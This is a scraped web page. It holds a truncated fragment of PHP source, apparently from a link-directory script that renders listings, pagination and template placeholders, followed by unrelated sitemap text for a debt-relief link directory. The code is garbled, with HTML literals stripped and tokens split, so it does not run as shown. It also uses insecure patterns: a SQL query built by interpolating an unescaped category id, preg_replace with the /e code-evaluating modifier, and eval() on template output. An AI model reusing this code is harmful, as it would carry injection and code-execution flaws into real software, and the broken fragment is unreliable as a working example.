$link->recipurl !="") $incThumbshots = "yes"; else if($thumbshots == "4" && $link->premium == "yes") $incThumbshots = "yes"; else if($thumbshots == "5" && ($link->recipurl !="" || $link->premium == "yes")) $incThumbshots = "yes"; if ($incThumbshots == "yes") $tshtml = ""; else $tshtml = ""; } else { $tsh tml = ""; $linkSepStart = "

"; $linkSepEnd = "

"; } if ($premiumimage == "yes" && $link->premium == "yes") $pihtml = " "; else $pihtml = ""; if ($princlude == "yes") $prhtml = " ".getpr($link->url); $linkshtml .= "$tshtml$linkSepStarturl."\" $nwin>".$link->title."$pihtml$prhtml
\n".$link->description."$linkSepEnd"; } if($thumbshots != "1") { $linkshtml = "$linkshtml
"; } } if ($count > $lperpage) { $linkshtml .= "

Results: "; if ($page > 1) $linkshtml .= "$pageprev "; for ($o=1; $o<=ceil($count/$lperpage); $o++) { if ($page == $o) $linkshtml .= "$o "; else $linkshtml .= "$o "; } if ($page < ceil($count/$lperpage)) $linkshtml .= "$pagenext "; $linkshtml .= "

"; } $pol = mysql_query("select * from lma_categories where parent = '$catid' order by name"); if (mysql_num_rows($pol) > 0) { while ($scat = mysql_fetch_object($pol)) { $subcathtml .= "name)."/".getindex($scat->name).".$pext\">".$scat->name."< /a> | "; } $subcathtml = substr($subcathtml, 0, -2); } else $subcathtml = "None"; getdmozattribution($catid); getadditionalinc(); getmaincats(); $addlink = "Add Your Site"; $csslink = ""; $tpl = str_replace("<%navigation-path%>", $navhtml, $tpl); $tpl = str_replace("<%add-site%>", $addlink, $tpl); $tpl = str_replace("<%search-box%>", $searchbox, $tpl); $tpl = str_replace("<%main-categories%>", $cathtml, $tpl); $tpl = str_replace("<%website-listings%>", $linkshtml, $tpl); $tpl = str_replace("<%category-name%>", $cat, $tpl); $tpl = str_replace("<%subcategory-links%>", $subcathtml, $tpl); $tpl = str_replace("<%css-link%>", $csslink, $tpl); $tpl = str_replace("<%random-listings%>", $addrandlisthtml, $tpl); $tpl = str_replace("<%random-categories%>", $addrandcathtml, $tpl); $tpl = preg_replace("/\<\%ppc-include-(.+?)\%\>/ise", "getppc('\${1}')", $tpl); $tpl = str_replace("<%dmoz-attribution%>", $dmozattributionhtml, $tpl); eval ("?>".displaytpl($tpl).""); } ?>
Sitemap
Debt and Credit Solutions - Online Debt Consolidation, Credit Card Debt Relief, Bad Credit Loans, Eliminate Credit Card Debt Sites

Site map NACIONES UNIDAS List


Template based on a template of Vooweb's website templates